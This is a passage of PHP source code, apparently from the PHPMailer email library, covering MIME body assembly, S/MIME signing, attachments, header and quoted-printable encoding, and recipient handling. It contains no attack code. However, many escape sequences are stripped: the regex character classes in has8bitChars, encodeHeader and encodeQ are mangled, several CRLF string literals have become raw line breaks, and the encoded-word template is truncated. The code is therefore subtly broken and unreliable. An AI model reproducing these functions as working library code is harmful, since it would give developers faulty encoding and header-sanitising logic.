return rtrim($this->MIMEHeader . $this->mailHeader, "
") . self::CRLF . self::CRLF . $this->MIMEBody;
}
/**
* Create unique ID
* @return string
*/
protected function generateId() {
return md5(uniqid(time()));
}
/**
* Assemble the message body.
* Returns an empty string on failure.
* @access public
* @throws phpmailerException
* @return string The assembled message body
*/
public function createBody()
{
$body = '';
//Create unique IDs and preset boundaries
$this->uniqueid = $this->generateId();
$this->boundary[1] = 'b1_' . $this->uniqueid;
$this->boundary[2] = 'b2_' . $this->uniqueid;
$this->boundary[3] = 'b3_' . $this->uniqueid;
if ($this->sign_key_file) {
$body .= $this->getMailMIME() . $this->LE;
}
$this->setWordWrap();
$bodyEncoding = $this->Encoding;
$bodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
$bodyEncoding = '7bit';
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$bodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the body part only
if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
$bodyEncoding = 'quoted-printable';
}
$altBodyEncoding = $this->Encoding;
$altBodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
$altBodyEncoding = '7bit';
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$altBodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the alt body part only
if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
$altBodyEncoding = 'quoted-printable';
}
//Use this as a preamble in all multipart message types
$mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
switch ($this->message_type) {
case 'inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[1]);
break;
case 'attach':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
if (!empty($this->Ical)) {
$body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
$body .= $this->encodeString($this->Ical, $this->Encoding);
$body .= $this->LE . $this->LE;
}
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[2]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[3] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[3]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
default:
// Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
//Reset the `Encoding` property in case we changed it for line length reasons
$this->Encoding = $bodyEncoding;
$body .= $this->encodeString($this->Body, $this->Encoding);
break;
}
if ($this->isError()) {
$body = '';
} elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
// @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
$file = tempnam(sys_get_temp_dir(), 'mail');
if (false === file_put_contents($file, $body)) {
throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
}
$signed = tempnam(sys_get_temp_dir(), 'signed');
//Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
if (empty($this->sign_extracerts_file)) {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null
);
} else {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null,
PKCS7_DETACHED,
$this->sign_extracerts_file
);
}
if ($sign) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
//The message returned by openssl contains both headers and body, so need to split them up
$parts = explode("
", $body, 2);
$this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
$body = $parts[1];
} else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->lang('signing') . openssl_error_string());
}
} catch (phpmailerException $exc) {
$body = '';
if ($this->exceptions) {
throw $exc;
}
}
}
return $body;
}
/**
* Return the start of a message boundary.
* @access protected
* @param string $boundary
* @param string $charSet
* @param string $contentType
* @param string $encoding
* @return string
*/
protected function getBoundary($boundary, $charSet, $contentType, $encoding)
{
$result = '';
if ($charSet == '') {
$charSet = $this->CharSet;
}
if ($contentType == '') {
$contentType = $this->ContentType;
}
if ($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->textLine('--' . $boundary);
$result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
$result .= $this->LE;
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
}
$result .= $this->LE;
return $result;
}
/**
* Return the end of a message boundary.
* @access protected
* @param string $boundary
* @return string
*/
protected function endBoundary($boundary)
{
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
/**
* Set the message type.
* PHPMailer only supports some preset message types, not arbitrary MIME structures.
* @access protected
* @return void
*/
protected function setMessageType()
{
$type = array();
if ($this->alternativeExists()) {
$type[] = 'alt';
}
if ($this->inlineImageExists()) {
$type[] = 'inline';
}
if ($this->attachmentExists()) {
$type[] = 'attach';
}
$this->message_type = implode('_', $type);
if ($this->message_type == '') {
//The 'plain' message_type refers to the message having a single body element, not that it is plain-text
$this->message_type = 'plain';
}
}
/**
* Format a header line.
* @access public
* @param string $name
* @param string $value
* @return string
*/
public function headerLine($name, $value)
{
return $name . ': ' . $value . $this->LE;
}
/**
* Return a formatted mail line.
* @access public
* @param string $value
* @return string
*/
public function textLine($value)
{
return $value . $this->LE;
}
/**
* Add an attachment from a path on the filesystem.
* Never use a user-supplied path to a file!
* Returns false if the file could not be found or read.
* Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
* If you need to do that, fetch the resource yourself and pass it in via a local file or string.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @param string $disposition Disposition to use
* @throws phpmailerException
* @return boolean
*/
public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
{
try {
if (!self::isPermittedPath($path) or !@is_file($path)) {
throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => 0
);
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Return the array of attachments.
* @return array
*/
public function getAttachments()
{
return $this->attachment;
}
/**
* Attach all file, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access protected
* @param string $disposition_type
* @param string $boundary
* @return string
*/
protected function attachAll($disposition_type, $boundary)
{
// Return text of body
$mime = array();
$cidUniq = array();
$incl = array();
// Add all attachments
foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
if ($attachment[6] == $disposition_type) {
// Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash, $incl)) {
continue;
}
$incl[] = $inclhash;
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf('--%s%s', $boundary, $this->LE);
//Only include a filename property if we have one
if (!empty($name)) {
$mime[] = sprintf(
'Content-Type: %s; name="%s"%s',
$type,
$this->encodeHeader($this->secureHeader($name)),
$this->LE
);
} else {
$mime[] = sprintf(
'Content-Type: %s%s',
$type,
$this->LE
);
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
}
if ($disposition == 'inline') {
$mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
}
// If a filename contains any of these chars, it should be quoted,
// but not otherwise: RFC2183 & RFC2045 5.1
// Fixes a warning in IETF's msglint MIME checker
// Allow for bypassing the Content-Disposition header totally
if (!(empty($disposition))) {
$encoded_name = $this->encodeHeader($this->secureHeader($name));
if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename="%s"%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
if (!empty($encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename=%s%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
$mime[] = sprintf(
'Content-Disposition: %s%s',
$disposition,
$this->LE . $this->LE
);
}
}
} else {
$mime[] = $this->LE;
}
// Encode as string attachment
if ($bString) {
$mime[] = $this->encodeString($string, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
} else {
$mime[] = $this->encodeFile($path, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
}
}
}
$mime[] = sprintf('--%s--%s', $boundary, $this->LE);
return implode('', $mime);
}
/**
* Encode a file attachment in requested format.
* Returns an empty string on failure.
* @param string $path The full path to the file
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @throws phpmailerException
* @access protected
* @return string
*/
protected function encodeFile($path, $encoding = 'base64')
{
try {
if (!self::isPermittedPath($path) or !file_exists($path)) {
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = false;
if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
$magic_quotes = get_magic_quotes_runtime();
}
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(false);
} else {
//Doesn't exist in PHP 5.4, but we don't need to check because
//get_magic_quotes_runtime always returns false in 5.4+
//so it will never get here
ini_set('magic_quotes_runtime', false);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}
/**
* Encode a string in requested format.
* Returns an empty string on failure.
* @param string $str The text to encode
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @access public
* @return string
*/
public function encodeString($str, $encoding = 'base64')
{
$encoded = '';
switch (strtolower($encoding)) {
case 'base64':
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->fixEOL($str);
// Make sure it ends with a line break
if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
$encoded .= $this->LE;
}
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->encodeQP($str);
break;
default:
$this->setError($this->lang('encoding') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string optimally.
* Picks shortest of Q, B, quoted-printable or none.
* @access public
* @param string $str
* @param string $position
* @return string
*/
public function encodeHeader($str, $position = 'text')
{
$matchcount = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/', $str)) {
// Can't use addslashes as we don't know the value of magic_quotes_sybase
$encoded = addcslashes($str, "..\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
$matchcount = preg_match_all('/[()"]/', $str, $matches);
// Intentional fall-through
case 'text':
default:
$matchcount += preg_match_all('/[---]/', $str, $matches);
break;
}
//There are no chars that need encoding
if ($matchcount == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
// Try to select the encoding which should produce the shortest output
if ($matchcount > strlen($str) / 3) {
// More than a third of the content will need encoding, so B encoding will be most efficient
$encoding = 'B';
if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->base64EncodeWrapMB($str, "
");
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
$encoding = 'Q';
$encoded = $this->encodeQ($str, $position);
$encoded = $this->wrapText($encoded, $maxlen, true);
$encoded = str_replace('=' . self::CRLF, "
", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
/**
* Check if a string contains multi-byte characters.
* @access public
* @param string $str multi-byte text to wrap encode
* @return boolean
*/
public function hasMultiBytes($str)
{
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return false;
}
}
/**
* Does a string contain any 8-bit chars (in any charset)?
* @param string $text
* @return boolean
*/
public function has8bitChars($text)
{
return (boolean)preg_match('/[-]/', $text);
}
/**
* Encode and wrap long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid
* @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
* @access public
* @param string $str multi-byte text to wrap encode
* @param string $linebreak string to use as linefeed/end-of-line
* @return string
*/
public function base64EncodeWrapMB($str, $linebreak = null)
{
$start = '=?' . $this->CharSet . '?B?';
$end = '?=';
$encoded = '';
if ($linebreak === null) {
$linebreak = $this->LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
} while (strlen($chunk) > $length);
$encoded .= $chunk . $linebreak;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($linebreak));
return $encoded;
}
/**
* Encode a string in quoted-printable format.
* According to RFC2045 section 6.7.
* @access public
* @param string $string The text to encode
* @param integer $line_max Number of chars allowed on a line before wrapping
* @return string
* @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
*/
public function encodeQP($string, $line_max = 76)
{
// Use native function if it's available (>= PHP5.3)
if (function_exists('quoted_printable_encode')) {
return quoted_printable_encode($string);
}
// Fall back to a pure PHP implementation
$string = str_replace(
array('%20', '%0D%0A.', '%0D%0A', '%'),
array(' ', "
=2E", "
", '='),
rawurlencode($string)
);
return preg_replace('/[^
]{' . ($line_max - 3) . '}[^=
]{2}/', "$0=
", $string);
}
/**
* Backward compatibility wrapper for an old QP encoding function that was removed.
* @see PHPMailer::encodeQP()
* @access public
* @param string $string
* @param integer $line_max
* @param boolean $space_conv
* @return string
* @deprecated Use encodeQP instead.
*/
public function encodeQPphp(
$string,
$line_max = 76,
/** @noinspection PhpUnusedParameterInspection */ $space_conv = false
) {
return $this->encodeQP($string, $line_max);
}
/**
* Encode a string using Q encoding.
* @link http://tools.ietf.org/html/rfc2047
* @param string $str the text to encode
* @param string $position Where the text is going to be used, see the RFC for what that means
* @access public
* @return string
*/
public function encodeQ($str, $position = 'text')
{
// There should not be any EOL in the string
$pattern = '';
$encoded = str_replace(array("
", "
"), '', $str);
switch (strtolower($position)) {
case 'phrase':
// RFC 2047 section 5.3
$pattern = '^A-Za-z0-9!*+\/ -';
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
// RFC 2047 section 5.2
$pattern = '\(\)"';
// intentional fall-through
// for this reason we build the $pattern without including delimiters and []
case 'text':
default:
// RFC 2047 section 5.1
// Replace every high ascii, control, =, ? and _ characters
$pattern = '- -=?_-' . $pattern;
break;
}
$matches = array();
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
// If the string contains an '=', make sure it's the first thing we replace
// so as to avoid double-encoding
$eqkey = array_search('=', $matches[0]);
if (false !== $eqkey) {
unset($matches[0][$eqkey]);
array_unshift($matches[0], '=');
}
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
// Replace every spaces to _ (more readable than =20)
return str_replace(' ', '_', $encoded);
}
/**
* Add a string or binary attachment (non-filesystem).
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @param string $disposition Disposition to use
* @return void
*/
public function addStringAttachment(
$string,
$filename,
$encoding = 'base64',
$type = '',
$disposition = 'attachment'
) {
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($filename);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $filename,
2 => basename($filename),
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => 0
);
}
/**
* Add an embedded (inline) attachment from a file.
* This can include images, sounds, and just about any other document type.
* These differ from 'regular' attachments in that they are intended to be
* displayed inline with the message, not just attached for download.
* This is used in HTML messages that embed the images
* the HTML refers to using the $cid value.
* Never use a user-supplied path to a file!
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
{
if (!self::isPermittedPath($path) or !@is_file($path)) {
$this->setError($this->lang('file_access') . $path);
return false;
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Add an embedded stringified attachment.
* This can include images, sounds, and just about any other document type.
* Be sure to set the $type to an image type for images:
* JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
* @param string $string The attachment binary data.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name
* @param string $encoding File encoding (see $Encoding).
* @param string $type MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addStringEmbeddedImage(
$string,
$cid,
$name = '',
$encoding = 'base64',
$type = '',
$disposition = 'inline'
) {
// If a MIME type is not specified, try to work it out from the name
if ($type == '' and !empty($name)) {
$type = self::filenameToType($name);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $name,
2 => $name,
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Check if an inline attachment is present.
* @access public
* @return boolean
*/
public function inlineImageExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
/**
* Check if an attachment (non-inline) is present.
* @return boolean
*/
public function attachmentExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
/**
* Check if this message has an alternative body set.
* @return boolean
*/
public function alternativeExists()
{
return !empty($this->AltBody);
}
/**
* Clear queued addresses of given kind.
* @access protected
* @param string $kind 'to', 'cc', or 'bcc'
* @return void
*/
public function clearQueuedAddresses($kind)
{
$RecipientsQueue = $this->RecipientsQueue;
foreach ($RecipientsQueue as $address => $params) {
if ($params[0] == $kind) {
unset($this->RecipientsQueue[$address]);
}
}
}
/**
* Clear all To recipients.
* @return void
*/
public function clearAddresses()
{
foreach ($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
$this->clearQueuedAddresses('to');
}
/**
* Clear all CC recipients.
* @return void
*/
public function clearCCs()
{
foreach ($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
$this->clearQueuedAddresses('cc');
}
/**
* Clear all BCC recipients.
* @return void
*/
public function clearBCCs()
{
foreach ($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
$this->clearQueuedAddresses('bcc');
}
/**
* Clear all ReplyTo recipients.
* @return void
*/
public function clearReplyTos()
{
$this->ReplyTo = array();
$this->ReplyToQueue = array();
}
/**
* Clear all recipient types.
* @return void
*/
public function clearAllRecipients()
{
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
$this->RecipientsQueue = array();
}
/**
* Clear all filesystem, string, and binary attachments.
* @return void
*/
public function clearAttachments()
{
$this->attachment = array();
}
/**
* Clear all custom headers.
* @return void
*/
public function clearCustomHeaders()
{
$this->CustomHeader = array();
}
/**
* Add an error message to the error container.
* @access protected
* @param string $msg
* @return void
*/
protected function setError($msg)
{
$this->error_count++;
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror['error'])) {
$msg .= $this->lang('smtp_error') . $lasterror['error'];
if (!empty($lasterror['detail'])) {
$msg .= ' Detail: '. $lasterror['detail'];
}
if (!empty($lasterror['smtp_code'])) {
$msg .= ' SMTP code: ' . $lasterror['smtp_code'];
}
if (!empty($lasterror['smtp_code_ex'])) {
$msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
}
}
}
$this->ErrorInfo = $msg;
}
/**
* Return an RFC 822 formatted date.
* @access public
* @return string
* @static
*/
public static function rfcDate()
{
// Set the time zone to whatever the default is to avoid 500 errors
// Will default to UTC if it's not set properly in php.ini
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
/**
* Get an error message in the current language.
* @access protected
* @param string $key
* @return string
*/
protected function lang($key)
{
if (count($this->language) < 1) {
$this->setLanguage('en'); // set the default language
}
if (array_key_exists($key, $this->language)) {
if ($key == 'smtp_connect_failed') {
//Include a link to troubleshooting docs on SMTP connection failure
//this is by far the biggest cause of support questions
//but it's usually not PHPMailer's fault.
return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
}
return $this->language[$key];
} else {
//Return the key as a fallback
return $key;
}
}
/**
* Check if an error occurred.
* @access public
* @return boolean True if an error did occur.
*/
public function isError()
{
return ($this->error_count > 0);
}
/**
* Ensure consistent line endings in a string.
* Changes every end of line from CRLF, CR or LF to $this->LE.
* @access public
* @param string $str String to fixEOL
* @return string
*/
public function fixEOL($str)
{
// Normalise to
$nstr = str_replace(array("
", "
"), "
", $str);
// Now convert LE as needed
if ($this->LE !== "
") {
$nstr = str_replace("
", $this->LE, $nstr);
}
return $nstr;
}
/**
* Add a custom header.
* $name value can be overloaded to contain
* both header name and value (name:value)
* @access public
* @param string $name Custom header name
* @param string $value Header value
* @return void
*/
public function addCustomHeader($name, $value = null)
{
if ($value === null) {
// Value passed in as name:value
$this->CustomHeader[] = explode(':', $name, 2);
} else {
$this->CustomHeader[] = array($name, $value);
}
}
/**
* Returns all custom headers.
* @return array
*/
public function getCustomHeaders()
{
return $this->CustomHeader;
}
/**
* Create a message body from an HTML string.
* Automatically inlines images and creates a plain-text version by converting the HTML,
* overwriting any existing values in Body and AltBody.
* Do not source $message content from user input!
* $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
* will look for an image file in $basedir/images/a.png and convert it to inline.
* If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
* If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
* @access public
* @param string $message HTML message string
* @param string $basedir Absolute path to a base directory to prepend to relative paths to images
* @param boolean|callable $advanced Whether to use the internal HTML to text converter
* or your own custom converter @see PHPMailer::html2text()
* @return string $message The transformed message Body
*/
public function msgHTML($message, $basedir = '', $advanced = false)
{
preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
if (array_key_exists(2, $images)) {
if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
// Ensure $basedir has a trailing /
$basedir .= '/';
}
foreach ($images[2] as $imgindex => $url) {
// Convert data URIs into embedded images
if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
$data = substr($url, strpos($url, ','));
if ($match[2]) {
$data = base64_decode($data);
} else {
$data = rawurldecode($data);
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
$message = str_replace(
$images[0][$imgindex],
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
continue;
}
if (
// Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
!empty($basedir)
// Ignore URLs containing parent dir traversal (..)
&& (strpos($url, '..') === false)
// Do not change urls that are already inline images
&& substr($url, 0, 4) !== 'cid:'
// Do not change absolute URLs, including anonymous protocol
